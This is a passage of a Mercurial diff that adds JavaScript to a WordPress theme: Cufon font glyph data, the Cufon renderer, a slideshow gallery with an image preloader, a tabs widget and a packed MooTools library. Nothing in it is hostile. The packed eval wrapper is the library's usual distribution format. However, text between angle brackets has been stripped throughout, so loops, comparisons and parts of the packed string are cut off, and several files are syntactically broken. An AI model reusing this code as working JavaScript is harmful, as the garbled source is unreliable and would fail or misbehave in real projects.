34,-203v0,-54,21,-65,77,-64r0,30v-84,-12,-9,111,-65,143v32,15,22,66,22,109v0,28,12,34,43,34r0,31v-56,1,-77,-11,-77,-65v0,-39,18,-85,-23,-95r0,-28v41,-9,23,-56,23,-95"},"}":{"d":"87,-203v0,39,-18,86,23,95r0,28v-41,10,-23,56,-23,95v0,54,-21,66,-77,65r0,-31v84,12,9,-111,65,-143v-32,-15,-22,-66,-22,-109v0,-28,-12,-34,-43,-34r0,-30v56,-1,77,10,77,64"},"@":{"d":"143,-210r0,140r-29,0v-4,-19,-2,2,-23,2v-45,0,-16,-76,-25,-116v-7,-29,39,-35,45,-18v1,-18,-3,-35,-34,-35v-27,0,-33,19,-33,27r0,157v0,9,6,27,33,27v15,0,24,-4,30,-11r27,15v-10,13,-27,25,-57,25v-53,0,-65,-39,-65,-56r0,-157v0,-17,12,-57,65,-57v53,0,66,40,66,57xm111,-101r0,-80v0,-6,-4,-9,-9,-9v-5,0,-8,3,-8,9r0,80v0,6,3,10,8,10v5,0,9,-4,9,-10","w":153},"*":{"d":"49,-234r-3,-31r27,0r-3,31r29,-12r7,26r-30,6r20,24r-23,14r-14,-26r-13,26r-23,-14r20,-24r-30,-6r8,-26","w":119},"(":{"d":"63,-279r28,14v0,0,-45,63,-45,152v0,89,45,150,45,150r-28,15v0,0,-51,-75,-51,-165v0,-90,51,-166,51,-166","w":98},"`":{"d":"51,-262r38,0r19,33r-28,0","w":180},"%":{"d":"52,0r-24,0r97,-265r23,0xm44,-237v0,0,0,-10,-6,-10v-7,0,-7,10,-7,10r0,77v0,0,0,10,7,10v6,0,6,-10,6,-10r0,-77xm145,-104v0,0,0,-10,-6,-10v-7,0,-7,10,-7,10r0,76v0,0,0,10,7,10v6,0,6,-10,6,-10r0,-76xm66,-160v0,0,0,31,-28,31v-28,0,-28,-31,-28,-31r0,-77v0,0,0,-30,28,-30v28,0,28,30,28,30r0,77xm167,-28v0,0,0,31,-28,31v-28,0,-28,-31,-28,-31r0,-76v0,0,0,-31,28,-31v28,0,28,31,28,31r0,76","w":176},"#":{"d":"9,-77r4,-34r35,0r7,-46r-35,0r5,-34r34,0r10,-74r35,0r-10,74r46,0r10,-74r34,0r-10,74r34,0r-5,34r-33,0r-7,46r34,0r-5,34r-34,0r-10,77r-35,0r11,-77r-46,0r-10,77r-35,0r11,-77r-35,0xm89,-157r-6,46r46,0r6,-46r-46,0","w":216},"\"":{"d":"42,-168r-27,0r-5,-97r38,0","w":57},")":{"d":"7,-265r29,-14v0,0,51,76,51,166v0,90,-51,165,-51,165r-29,-15v0,0,46,-61,46,-150v0,-89,-46,-152,-46,-152","w":98},"<":{"d":"13,-114r0,-28r160,-84r0,35r-123,63r123,62r0,35","w":186},"^":{"d":"76,-265r41,0r67,123r-35,0r-52,-96r-53,96r-35,0","w":193},"\u2122":{"d":"31,-246r-18,0r0,-19r56,0r0,19r-18,0r0,102r-20,0r0,-102xm118,-144r-9,0r-14,-79r0,79r-18,0r0,-121r25,0v5,18,6,40,12,57r12,-57r24,0r0,121r-18,0r0,-79","w":164},"\u2018":{"d":"9,-178v-4,-39,8,-62,19,-87r18,0r-12,47r12,0r0,40r-37,0","w":54},"\u2019":{"d":"46,-265v4,40,-9,62,-20,87r-18,0r13,-47r-13,0r0,-40r38,0","w":54},"\u2026":{"d":"9,0r0,-40r38,0r0,40r-38,0xm66,0r0,-40r38,0r0,40r-38,0xm122,0r0,-40r38,0r0,40r-38,0","w":169},"B":{"d":"62,0r-48,0r0,-265v63,-3,108,3,106,71v0,24,-6,38,-25,54v0,0,27,12,27,65v0,39,-14,75,-60,75xm82,-79v0,-44,-22,-41,-29,-41r0,81v7,0,29,4,29,-40xm82,-191v0,-36,-22,-35,-29,-35r0,70v7,0,29,1,29,-35","w":131,"k":{"Y":4}},"\u00a0":{"w":55}}}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/scripts/cache/Thumbs.db Binary file web/wp-content/themes/aparatus/scripts/cache/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/scripts/cufon-yui.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/scripts/cufon-yui.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,7 @@ +/* + * Copyright (c) 2009 Simo Kinnunen. + * Licensed under the MIT license. + * + * @version 1.09 + */ +var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loaded:1,complete:1};var B=[],D=function(){if(C){return}C=true;for(var F;F=B.shift();F()){}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",D,false);window.addEventListener("pageshow",D,false)}if(!window.opera&&document.readyState){(function(){E[document.readyState]?D():setTimeout(arguments.callee,10)})()}if(document.readyState&&document.createStyleSheet){(function(){try{document.body.doScroll("left");D()}catch(F){setTimeout(arguments.callee,1)}})()}q(window,"load",D);return function(F){if(!arguments.length){D()}else{C?F():B.push(F)}}})(),root:function(){return document.documentElement||document.body}};var n=m.CSS={Size:function(C,B){this.value=parseFloat(C);this.unit=String(C).match(/[a-z%]*$/)[0]||"px";this.convert=function(D){return D/B*this.value};this.convertFrom=function(D){return D/this.value*B};this.toString=function(){return this.value+this.unit}},addClass:function(C,B){var D=C.className;C.className=D+(D&&" ")+B;return C},color:j(function(C){var B={};B.color=C.replace(/^rgba\((.*?),\s*([\d.]+)\)/,function(E,D,F){B.opacity=parseFloat(F);return"rgb("+D+")"});return B}),fontStretch:j(function(B){if(typeof B=="number"){return B}if(/%$/.test(B)){return parseFloat(B)/100}return{"ultra-condensed":0.5,"extra-condensed":0.625,condensed:0.75,"semi-condensed":0.875,"semi-expanded":1.125,expanded:1.25,"extra-expanded":1.5,"ultra-expanded":2}[B]||1}),getStyle:function(C){var B=document.defaultView;if(B&&B.getComputedStyle){return new a(B.getComputedStyle(C,null))}if(C.currentStyle){return new a(C.currentStyle)}return new a(C.style)},gradient:j(function(F){var G={id:F,type:F.match(/^-([a-z]+)-gradient\(/)[1],stops:[]},C=F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);for(var E=0,B=C.length,D;E0){E=" "+E}}else{if(B400}if(I==500){I=400}for(var J in G){if(!k(G,J)){continue}J=parseInt(J,10);if(!F||JD){D=J}K.push(J)}if(ID){I=D}K.sort(function(M,L){return(E?(M>=I&&L>=I)?ML:(M<=I&&L<=I)?M>L:MO){O=K}if(I>N){N=I}if(Kcufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:'+(h?"middle":"text-bottom")+";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}").replace(/;/g,"!important;"));function c(i,j){return a(i,/(?:em|ex|%)$|^[a-z-]+$/i.test(j)?"1em":j)}function a(l,m){if(m==="0"){return 0}if(/px$/i.test(m)){return parseFloat(m)}var k=l.style.left,j=l.runtimeStyle.left;l.runtimeStyle.left=l.currentStyle.left;l.style.left=m.replace("%","em");var i=l.style.pixelLeft;l.style.left=k;l.runtimeStyle.left=j;return i}function f(l,k,j,n){var i="computed"+n,m=k[i];if(isNaN(m)){m=k.get(n);k[i]=m=(m=="normal")?0:~~j.convertFrom(a(l,m))}return m}var g={};function d(p){var q=p.id;if(!g[q]){var n=p.stops,o=document.createElement("cvml:fill"),i=[];o.type="gradient";o.angle=180;o.focus="0";o.method="sigma";o.color=n[0][1];for(var m=1,l=n.length-1;m1)&&(this.options.showArrows)) + { + var leftArrow = new Element('a').addClass('left').addEvent( + 'click', + this.prevItem.bind(this) + ).injectInside(element); + var rightArrow = new Element('a').addClass('right').addEvent( + 'click', + this.nextItem.bind(this) + ).injectInside(element); + this.galleryElement.addClass(this.options.withArrowsClass); + } + this.loadingElement = new Element('div').addClass('loadingElement').injectInside(element); + if (this.options.showInfopane) this.initInfoSlideshow(); + if (this.options.showCarousel) this.initCarousel(); + this.doSlideShow(1); + }, + populateData: function() { + currentArrayPlace = this.galleryData.length; + options = this.options; + var data = $A(this.galleryData); + data.extend(this.populateGallery(this.populateFrom, currentArrayPlace)); + this.galleryData = data; + this.fireEvent('onPopulated'); + }, + populateGallery: function(element, startNumber) { + var data = []; + options = this.options; + currentArrayPlace = startNumber; + element.getElements(options.elementSelector).each(function(el) { + elementDict = { + image: el.getElement(options.imageSelector).getProperty('src'), + number: currentArrayPlace, + transition: this.options.defaultTransition + }; + elementDict.extend = $extend; + if ((options.showInfopane) | (options.showCarousel)) + elementDict.extend({ + title: el.getElement(options.titleSelector).innerHTML, + description: el.getElement(options.subtitleSelector).innerHTML + }); + if (options.embedLinks) + elementDict.extend({ + link: el.getElement(options.linkSelector).href||false, + linkTitle: el.getElement(options.linkSelector).title||false, + linkTarget: el.getElement(options.linkSelector).getProperty('target')||false + }); + if ((!options.useThumbGenerator) && (options.showCarousel)) + elementDict.extend({ + thumbnail: el.getElement(options.thumbnailSelector).getProperty('src') + }); + else if (options.useThumbGenerator) + elementDict.extend({ + thumbnail: options.thumbGenerator + '?imgfile=' + elementDict.image + '&max_width=' + options.thumbWidth + '&max_height=' + options.thumbHeight + }); + + data.extend([elementDict]); + currentArrayPlace++; + if (this.options.destroyAfterPopulate) + el.remove(); + }); + return data; + }, + constructElements: function() { + el = this.galleryElement; + this.maxIter = this.galleryData.length; + var currentImg; + for(i=0;i= this.maxIter) + this.nextIter = 0; + this.galleryInit = 0; + this.goTo(this.nextIter); + }, + prevItem: function() { + this.fireEvent('onPreviousCalled'); + this.nextIter = this.currentIter-1; + if (this.nextIter <= -1) + this.nextIter = this.maxIter - 1; + this.galleryInit = 0; + this.goTo(this.nextIter); + }, + goTo: function(num) { + this.clearTimer(); + if(this.options.preloader) + { + this.galleryElements[num].load(); + if (num==0) + this.galleryElements[this.maxIter - 1].load(); + else + this.galleryElements[num - 1].load(); + if (num==(this.maxIter - 1)) + this.galleryElements[0].load(); + else + this.galleryElements[num + 1].load(); + + } + if (this.options.embedLinks) + this.clearLink(); + if (this.options.showInfopane) + { + this.slideInfoZone.clearChain(); + this.hideInfoSlideShow().chain(this.changeItem.pass(num, this)); + } else + this.currentChangeDelay = this.changeItem.delay(500, this, num); + if (this.options.embedLinks) + this.makeLink(num); + this.prepareTimer(); + /*if (this.options.showCarousel) + this.clearThumbnailsHighlights();*/ + }, + changeItem: function(num) { + this.fireEvent('onStartChanging'); + this.galleryInit = 0; + if (this.currentIter != num) + { + for(i=0;i' + (myself.relatedImage.number + 1) + "/" + this.maxIter + ": " + myself.relatedImage.title); + }.pass(currentImg, this), + 'mouseout': function (myself) { + myself.clearTimer(); + myself.start(this.options.thumbIdleOpacity); + }.pass(currentImg, this), + 'click': function (myself) { + this.goTo(myself.relatedImage.number); + if (this.options.thumbCloseCarousel) + this.hideCarousel(); + }.pass(currentImg, this) + }); + + currentImg.relatedImage = this.galleryData[i]; + this.thumbnailElements[parseInt(i)] = currentImg; + } + }, + log: function(value) { + if(console.log) + console.log(value); + }, + preloadThumbnails: function() { + var thumbnails = []; + for(i=0;i oldPos) newFx.start({opacity: 1}); + else + { + newFx.set({opacity: 1}); + oldFx.start({opacity: 0}); + } + }, + crossfade: function(oldFx, newFx, oldPos, newPos){ + oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear; + oldFx.options.duration = newFx.options.duration = this.options.fadeDuration; + newFx.start({opacity: 1}); + oldFx.start({opacity: 0}); + }, + fadebg: function(oldFx, newFx, oldPos, newPos){ + oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear; + oldFx.options.duration = newFx.options.duration = this.options.fadeDuration / 2; + oldFx.start({opacity: 0}).chain(newFx.start.pass([{opacity: 1}], newFx)); + } +}); + +/* All code copyright 2007 Jonathan Schemoul */ + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * + * Follows: Preloader (class) + * Simple class for preloading images with support for progress reporting + * Copyright 2007 Tomocchino. + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +var Preloader = new Class({ + + Implements: [Events, Options], + + options: { + root : '', + period : 100 + }, + + initialize: function(options){ + this.setOptions(options); + }, + + load: function(sources) { + this.index = 0; + this.images = []; + this.sources = this.temps = sources; + this.total = this. sources.length; + + this.fireEvent('onStart', [this.index, this.total]); + this.timer = this.progress.periodical(this.options.period, this); + + this.sources.each(function(source, index){ + this.images[index] = new Asset.image(this.options.root + source, { + 'onload' : function(){ this.index++; if(this.images[index]) this.fireEvent('onLoad', [this.images[index], index, source]); }.bind(this), + 'onerror' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this), + 'onabort' : function(){ this.index++; this.fireEvent('onError', [this.images.splice(index, 1), index, source]); }.bind(this) + }); + }, this); + }, + + progress: function() { + this.fireEvent('onProgress', [Math.min(this.index, this.total), this.total]); + if(this.index >= this.total) this.complete(); + }, + + complete: function(){ + $clear(this.timer); + this.fireEvent('onComplete', [this.images]); + }, + + cancel: function(){ + $clear(this.timer); + } + +}); + +Preloader.implement(new Events, new Options); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * + * Follows: formatString (function) + * Original name: Yahoo.Tools.printf + * Copyright Yahoo. + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +function formatString() { + var num = arguments.length; + var oStr = arguments[0]; + for (var i = 1; i < num; i++) { + var pattern = "\\{" + (i-1) + "\\}"; + var re = new RegExp(pattern, "g"); + oStr = oStr.replace(re, arguments[i]); + } + return oStr; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/scripts/mootabs1.2.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/scripts/mootabs1.2.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,183 @@ +var mootabs = new Class({ + + initialize: function(element, options) { + this.options = Object.extend({ + width: '300px', + height: '200px', + changeTransition: Fx.Transitions.Bounce.easeOut, + duration: 1000, + mouseOverClass: 'active', + activateOnLoad: 'first', + useAjax: false, + ajaxUrl: '', + ajaxOptions: {method:'get'}, + ajaxLoadingText: 'Loading...' + }, options || {}); + + this.el = $(element); + this.elid = element; + + this.el.setStyles({ + height: this.options.height, + width: this.options.width + }); + + this.titles = $$('#' + this.elid + ' ul.mootabs_title li'); + this.panelHeight = this.el.getSize().size.y - (this.titles[0].getSize().size.y + 4); + this.panels = $$('#' + this.elid + ' .mootabs_panel'); + + + this.panels.setStyle('height', this.panelHeight); + + this.titles.each(function(item) { + item.addEvent('click', function(){ + item.removeClass(this.options.mouseOverClass); + this.activate(item); + }.bind(this) + ); + + item.addEvent('mouseover', function() { + if(item != this.activeTitle) + { + item.addClass(this.options.mouseOverClass); + } + }.bind(this)); + + item.addEvent('mouseout', function() { + if(item != this.activeTitle) + { + item.removeClass(this.options.mouseOverClass); + } + }.bind(this)); + }.bind(this)); + + + if(this.options.activateOnLoad != 'none') + { + if(this.options.activateOnLoad == 'first') + { + this.activate(this.titles[0], true); + } + else + { + this.activate(this.options.activateOnLoad, true); + } + } + }, + + activate: function(tab, skipAnim){ + if(! $defined(skipAnim)) + { + skipAnim = false; + } + if($type(tab) == 'string') + { + myTab = $$('#' + this.elid + ' ul li').filterByAttribute('title', '=', tab)[0]; + tab = myTab; + } + + if($type(tab) == 'element') + { + var newTab = tab.getProperty('title'); + this.panels.removeClass('active'); + + this.activePanel = this.panels.filterById(newTab)[0]; + + this.activePanel.addClass('active'); + + if(this.options.changeTransition != 'none' && skipAnim==false) + { + this.panels.filterById(newTab).setStyle('height', 0); + var changeEffect = new Fx.Elements(this.panels.filterById(newTab), {duration: this.options.duration, transition: this.options.changeTransition}); + changeEffect.start({ + '0': { + 'height': [0, this.panelHeight] + } + }); + } + + this.titles.removeClass('active'); + + tab.addClass('active'); + + this.activeTitle = tab; + + if(this.options.useAjax) + { + this._getContent(); + } + } + }, + + _getContent: function(){ + this.activePanel.setHTML(this.options.ajaxLoadingText); + var newOptions = {update: this.activePanel.getProperty('id')}; + this.options.ajaxOptions = Object.extend(this.options.ajaxOptions, newOptions || {}); + var tabRequest = new Ajax(this.options.ajaxUrl + '?tab=' + this.activeTitle.getProperty('title'), this.options.ajaxOptions); + tabRequest.request(); + }, + + addTab: function(title, label, content){ + //the new title + var newTitle = new Element('li', { + 'title': title + }); + newTitle.appendText(label); + this.titles.include(newTitle); + $$('#' + this.elid + ' ul').adopt(newTitle); + newTitle.addEvent('click', function() { + this.activate(newTitle); + }.bind(this)); + + newTitle.addEvent('mouseover', function() { + if(newTitle != this.activeTitle) + { + newTitle.addClass(this.options.mouseOverClass); + } + }.bind(this)); + newTitle.addEvent('mouseout', function() { + if(newTitle != this.activeTitle) + { + newTitle.removeClass(this.options.mouseOverClass); + } + }.bind(this)); + //the new panel + var newPanel = new Element('div', { + 'style': {'height': this.options.panelHeight}, + 'id': title, + 'class': 'mootabs_panel' + }); + if(!this.options.useAjax) + { + newPanel.setHTML(content); + } + this.panels.include(newPanel); + this.el.adopt(newPanel); + }, + + removeTab: function(title){ + if(this.activeTitle.title == title) + { + this.activate(this.titles[0]); + } + $$('#' + this.elid + ' ul li').filterByAttribute('title', '=', title)[0].remove(); + + $$('#' + this.elid + ' .mootabs_panel').filterById(title)[0].remove(); + }, + + next: function(){ + var nextTab = this.activeTitle.getNext(); + if(!nextTab) { + nextTab = this.titles[0]; + } + this.activate(nextTab); + }, + + previous: function(){ + var previousTab = this.activeTitle.getPrevious(); + if(!previousTab) { + previousTab = this.titles[this.titles.length - 1]; + } + this.activate(previousTab); + } +}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/scripts/mootools.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/scripts/mootools.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3 @@ +//MooTools, My Object Oriented Javascript Tools. Copyright (c) 2006 Valerio Proietti, , MIT Style License. + +eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('m 9F={af:\'1.11\'};h $5k(L){k(L!=7D)};h $t(L){o(!$5k(L))k V;o(L.3T)k\'B\';m t=57 L;o(t==\'2w\'&&L.a7){2k(L.6m){17 1:k\'B\';17 3:k(/\\S/).2U(L.8q)?\'ak\':\'ad\'}}o(t==\'2w\'||t==\'h\'){2k(L.7A){17 2b:k\'1p\';17 6N:k\'6d\';17 19:k\'4k\'}o(57 L.M==\'4w\'){o(L.2M)k\'9U\';o(L.7p)k\'12\'}}k t};h $1X(){m 4Q={};G(m i=0;i<12.M;i++){G(m C 15 12[i]){m ap=12[i][C];m 4X=4Q[C];o(4X&&$t(ap)==\'2w\'&&$t(4X)==\'2w\')4Q[C]=$1X(4X,ap);14 4Q[C]=ap}}k 4Q};m $N=h(){m 1b=12;o(!1b[1])1b=[c,1b[0]];G(m C 15 1b[1])1b[0][C]=1b[1][C];k 1b[0]};m $4a=h(){G(m i=0,l=12.M;i-1:c.48(2L)>-1},9f:h(){k c.2Z(/([.*+?^${}()|[\\]\\/\\\\])/g,\'\\\\$1\')}});2b.N({5T:h(1p){o(c.M<3)k V;o(c.M==4&&c[3]==0&&!1p)k\'aM\';m 3G=[];G(m i=0;i<3;i++){m 3U=(c[i]-0).8J(16);3G.1f((3U.M==1)?\'0\'+3U:3U)}k 1p?3G:\'#\'+3G.2u(\'\')},5z:h(1p){o(c.M!=3)k V;m 2n=[];G(m i=0;i<3;i++){2n.1f(4t((c[i].M==1)?c[i]+c[i]:c[i],16))}k 1p?2n:\'2n(\'+2n.2u(\',\')+\')\'}});62.N({2v:h(r){m O=c;r=$1X({\'Q\':O,\'u\':V,\'12\':1r,\'1V\':V,\'3s\':V,\'5V\':V},r);o($2i(r.12)&&$t(r.12)!=\'1p\')r.12=[r.12];k h(u){m 1b;o(r.u){u=u||P.u;1b=[(r.u===1a)?u:J r.u(u)];o(r.12)1b.N(r.12)}14 1b=r.12||12;m 35=h(){k O.3m($7m(r.Q,O),1b)};o(r.1V)k aL(35,r.1V);o(r.3s)k aK(35,r.3s);o(r.5V)6o{k 35()}6f(aJ){k V};k 35()}},aB:h(1b,Q){k c.2v({\'12\':1b,\'Q\':Q})},5V:h(1b,Q){k c.2v({\'12\':1b,\'Q\':Q,\'5V\':1a})()},Q:h(Q,1b){k c.2v({\'Q\':Q,\'12\':1b})},aA:h(Q,1b){k c.2v({\'Q\':Q,\'u\':1a,\'12\':1b})},1V:h(1V,Q,1b){k c.2v({\'1V\':1V,\'Q\':Q,\'12\':1b})()},3s:h(7v,Q,1b){k c.2v({\'3s\':7v,\'Q\':Q,\'12\':1b})()}});7I.N({2G:h(){k 4t(c)},8i:h(){k 4G(c)},1t:h(3O,22){k 1c.3O(22,1c.22(3O,c))},3w:h(4n){4n=1c.3d(10,4n||0);k 1c.3w(c*4n)/4n},as:h(O){G(m i=0;i\'}q=K.8j(q)}q=$(q);k(!1F||!q)?q:q.1U(1F)}});m 1M=J 19({1n:h(U){k(U)?$N(U,c):c}});1M.N=h(1F){G(m 1H 15 1F){c.1z[1H]=1F[1H];c[1H]=$4a.5F(1H)}};h $(q){o(!q)k 1r;o(q.3T)k 2a.4e(q);o([P,K].1e(q))k q;m t=$t(q);o(t==\'2L\'){q=K.5o(q);t=(q)?\'B\':V}o(t!=\'B\')k 1r;o(q.3T)k 2a.4e(q);o([\'2w\',\'ao\'].1e(q.59.4M()))k q;$N(q,I.1z);q.3T=h(){};k 2a.4e(q)};K.5s=K.3i;h $$(){m U=[];G(m i=0,j=12.M;i0&&5b<13)c.1g=\'f\'+5b}c.1g=c.1g||6p.bA(c.5a).4M()}14 o(c.t.2U(/(8x|2O|bG)/)){c.1Y={\'x\':u.6q||u.7Z+K.2r.4I,\'y\':u.6r||u.7R+K.2r.4J};c.8C={\'x\':u.6q?u.6q-P.8P:u.7Z,\'y\':u.6r?u.6r-P.8O:u.7R};c.bC=(u.7Q==3)||(u.bt==2);2k(c.t){17\'6c\':c.1Z=u.1Z||u.bs;1J;17\'69\':c.1Z=u.1Z||u.9c}c.8p()}k c},1K:h(){k c.5g().5e()},5g:h(){o(c.u.5g)c.u.5g();14 c.u.bk=1a;k c},5e:h(){o(c.u.5e)c.u.5e();14 c.u.bi=V;k c}});2l.5x={1Z:h(){o(c.1Z&&c.1Z.6m==3)c.1Z=c.1Z.2K},8w:h(){6o{2l.5x.1Z.1Q(c)}6f(e){c.1Z=c.2X}}};2l.1z.8p=(P.6k)?2l.5x.8w:2l.5x.1Z;2l.1C=J 33({\'bq\':13,\'bn\':38,\'bI\':40,\'1m\':37,\'4F\':39,\'bY\':27,\'c4\':32,\'c9\':8,\'c6\':9,\'4b\':46});I.2c.2e={1L:h(t,O){c.$X=c.$X||{};c.$X[t]=c.$X[t]||{\'1C\':[],\'1I\':[]};o(c.$X[t].1C.1e(O))k c;c.$X[t].1C.1f(O);m 5w=t;m 23=I.2e[t];o(23){o(23.6j)23.6j.1Q(c,O);o(23.2E)O=23.2E;o(23.t)5w=23.t}o(!c.6s)O=O.2v({\'Q\':c,\'u\':1a});c.$X[t].1I.1f(O);k(I.6h.1e(5w))?c.2C(5w,O):c},49:h(t,O){o(!c.$X||!c.$X[t])k c;m 1h=c.$X[t].1C.48(O);o(1h==-1)k c;m 1g=c.$X[t].1C.5t(1h,1)[0];m F=c.$X[t].1I.5t(1h,1)[0];m 23=I.2e[t];o(23){o(23.2y)23.2y.1Q(c,O);o(23.t)t=23.t}k(I.6h.1e(t))?c.3L(t,F):c},5r:h(1W){k I.5v(c,\'1L\',1W)},5C:h(t){o(!c.$X)k c;o(!t){G(m 5D 15 c.$X)c.5C(5D);c.$X=1r}14 o(c.$X[t]){c.$X[t].1C.1D(h(O){c.49(t,O)},c);c.$X[t]=1r}k c},1o:h(t,1b,1V){o(c.$X&&c.$X[t]){c.$X[t].1C.1D(h(O){O.2v({\'Q\':c,\'1V\':1V,\'12\':1b})()},c)}k c},8h:h(R,t){o(!R.$X)k c;o(!t){G(m 5D 15 R.$X)c.8h(R,5D)}14 o(R.$X[t]){R.$X[t].1C.1D(h(O){c.1L(t,O)},c)}k c}};P.N(I.2c.2e);K.N(I.2c.2e);I.N(I.2c.2e);I.2e=J 33({\'7o\':{t:\'6c\',2E:h(u){u=J 2l(u);o(u.1Z!=c&&!c.6e(u.1Z))c.1o(\'7o\',u)}},\'7r\':{t:\'69\',2E:h(u){u=J 2l(u);o(u.1Z!=c&&!c.6e(u.1Z))c.1o(\'7r\',u)}},\'47\':{t:(P.6k)?\'6n\':\'47\'}});I.6h=[\'8x\',\'bJ\',\'6x\',\'5X\',\'47\',\'6n\',\'6c\',\'69\',\'2Y\',\'7w\',\'bT\',\'by\',\'3n\',\'66\',\'7H\',\'bK\',\'bM\',\'bN\',\'bX\',\'2S\',\'c7\',\'c8\',\'3Z\',\'8W\',\'8X\',\'ca\',\'2f\'];62.N({3I:h(Q,1b){k c.2v({\'Q\':Q,\'12\':1b,\'u\':2l})}});1M.N({c3:h(2J){k J 1M(c.2D(h(q){k(I.4l(q)==2J)}))},7L:h(1l,2d){m U=c.2D(h(q){k(q.1l&&q.1l.1e(1l,\' \'))});k(2d)?U:J 1M(U)},7J:h(3B,2d){m U=c.2D(h(q){k(q.3B==3B)});k(2d)?U:J 1M(U)},7K:h(1E,65,F,2d){m U=c.2D(h(q){m 21=I.5d(q,1E);o(!21)k V;o(!65)k 1a;2k(65){17\'=\':k(21==F);17\'*=\':k(21.1e(F));17\'^=\':k(21.7i(0,F.M)==F);17\'$=\':k(21.7i(21.M-F.M)==F);17\'!=\':k(21!=F);17\'~=\':k 21.1e(F,\' \')}k V});k(2d)?U:J 1M(U)}});h $E(1B,2D){k($(2D)||K).9r(1B)};h $br(1B,2D){k($(2D)||K).5s(1B)};$$.2W={\'6d\':/^(\\w*|\\*)(?:#([\\w-]+)|\\.([\\w-]+))?(?:\\[(\\w+)(?:([!*^$]?=)["\']?([^"\'\\]]*)["\']?)?])?$/,\'3p\':{64:h(1k,2H,Y,i){m 2h=[2H.bl?\'6R:\':\'\',Y[1]];o(Y[2])2h.1f(\'[@3B="\',Y[2],\'"]\');o(Y[3])2h.1f(\'[1e(6i(" ", @4k, " "), " \',Y[3],\' ")]\');o(Y[4]){o(Y[5]&&Y[6]){2k(Y[5]){17\'*=\':2h.1f(\'[1e(@\',Y[4],\', "\',Y[6],\'")]\');1J;17\'^=\':2h.1f(\'[bf-bu(@\',Y[4],\', "\',Y[6],\'")]\');1J;17\'$=\':2h.1f(\'[cR(@\',Y[4],\', 2L-M(@\',Y[4],\') - \',Y[6].M,\' + 1) = "\',Y[6],\'"]\');1J;17\'=\':2h.1f(\'[@\',Y[4],\'="\',Y[6],\'"]\');1J;17\'!=\':2h.1f(\'[@\',Y[4],\'!="\',Y[6],\'"]\')}}14{2h.1f(\'[@\',Y[4],\']\')}}1k.1f(2h.2u(\'\'));k 1k},67:h(1k,2H,2d){m U=[];m 3p=K.79(\'.//\'+1k.2u(\'//\'),2H,$$.2W.7z,cM.cV,1r);G(m i=0,j=3p.cU;i<\\/3f>\');$(\'68\').bU=h(){o(c.4T==\'6v\')4p()}}}14{P.2C("3n",4p);K.2C("bV",4p)}}};P.bQ=h(O){k c.1L(\'6t\',O)};P.N({7h:h(){o(c.5j)k c.bP;o(c.9s)k K.4i.9A;k K.2r.9A},76:h(){o(c.5j)k c.bL;o(c.9s)k K.4i.9k;k K.2r.9k},8N:h(){o(c.2t)k 1c.22(K.2r.3M,K.2r.5B);o(c.3A)k K.4i.5B;k K.2r.5B},8M:h(){o(c.2t)k 1c.22(K.2r.3D,K.2r.5Q);o(c.3A)k K.4i.5Q;k K.2r.5Q},77:h(){k c.8P||K.2r.4I},75:h(){k c.8O||K.2r.4J},5S:h(){k{\'2P\':{\'x\':c.7h(),\'y\':c.76()},\'5Z\':{\'x\':c.8N(),\'y\':c.8M()},\'2f\':{\'x\':c.77(),\'y\':c.75()}}},3g:h(){k{\'x\':0,\'y\':0}}});m 18={};18.2m=J 19({r:{4f:19.1u,2o:19.1u,8U:19.1u,1N:h(p){k-(1c.94(1c.7k*p)-1)/2},3h:bO,25:\'3Y\',45:1a,8V:50},1n:h(r){c.B=c.B||1r;c.3v(r);o(c.r.1n)c.r.1n.1Q(c)},1T:h(){m 3e=$3e();o(3e=(7-4*a)/11){F=-1c.3d((11-6*a-11*p)/4,2)+b*b;1J}}k F},be:h(p,x){k 1c.3d(2,10*--p)*1c.94(20*p*1c.7k*(x[0]||1)/3)}});[\'aa\',\'a3\',\'a0\',\'a9\'].1D(h(1N,i){18.2Q[1N]=J 18.6E(h(p){k 1c.3d(p,[i+2])});18.2Q.6G(1N)});m 3z={};3z.2m=J 